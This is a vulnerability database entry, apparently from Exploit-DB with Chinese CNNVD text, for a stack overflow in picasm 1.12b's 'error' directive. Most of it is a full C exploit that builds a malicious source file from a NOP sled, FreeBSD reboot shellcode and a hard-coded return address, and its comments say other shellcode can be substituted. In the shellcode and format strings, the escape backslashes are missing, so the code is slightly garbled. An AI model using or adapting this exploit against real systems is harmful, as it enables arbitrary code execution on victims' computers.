https://www.exploit-db.com/exploits/25687
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-1140

picasm1.12b及更早版本中的错误指令存在基于栈的缓冲区溢出，攻击者可以通过长的错误消息来执行任意代码。

source: http://www.securityfocus.com/bid/13698/info

Picasm is affected by a remote buffer overflow vulnerability.

An attacker can exploit this issue by supplying an excessive 'error' directive.

If successfully exploited, this issue can allow a remote attacker to gain access to the affected computer in the context of the user running the application.

Picasm 1.12b and prior versions are vulnerable to this issue. 

/* picasm_exploit.c - by Shaun Colley <shaun rsc cx>
 *
  * This code generates a picasm source file with a malformed 'error' directive,
  * which exploits a stack overflow vulnerability in picasm's error printing
 * routines.  The file generated by this exploit will only cause execution
  * of FreeBSD 'reboot()' shellcode.  Exploit has been tested on
FreeBSD 5.3-RELEASE.
  * Return address into shellcode may need changing on other operating system
  * versions.  Other shellcodes can potentially be used instead of the
one below.
 *
  * A fix has been provided by picasm's maintainer.  The fixed packages can be
 * found at <http://www.co.jyu.fi/~trossi/pic/picasm112c.tar.gz>.
 */

#include <stdio.h>
#include <stdlib.h>

  /* FreeBSD reboot shellcode by zillion
  * zillion safemode org */
  char shellcode[] =
  "x31xc0x66xbax0ex27x66x81xeax06x27xb0x37xcdx80";

int main(int argc, char *argv[]) {

  if(argc < 2) {
    printf("syntax: %s <outfile>n", argv[0]);
    return 1;
  }

    char buf[144];

  /* FreeBSD 5.3-RELEASE */
char ret[] = "x78xeaxbfxbf";
/* Works when X server is not running */
/*char ret[] = "x08xebxbfxbf";*/

  char *ptr;
  FILE *fp;
  ptr = buf;

 /* Craft payload */
  memset(ptr, 0, sizeof(buf));
  memset(ptr, 0x90, 118); /* 118 NOP bytes */
  memcpy(ptr+118, shellcode, sizeof(shellcode)); /* 15 byte shellcode */
  memcpy(ptr+133, ret, 4); /* 4 byte ret address */

  /* Open outfile */
  if((fp = fopen(argv[1], "w")) == NULL) {
   printf("unable to open %sn", argv[1]);
   exit(1);
 }

  /* Write it all to outfile */
  fwrite("error ", 1, 6, fp);
  fprintf(fp, "%s", buf);

  fclose(fp);
 return 0;
}

来源:www.co.jyu.fi
链接:http://www.co.jyu.fi/~trossi/pic/
来源:BUGTRAQ
名称:20050520picasmerrorhandlingstackoverflowvulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=111661253517089&w;=2
来源:BID
名称:13698
链接:http://www.securityfocus.com/bid/13698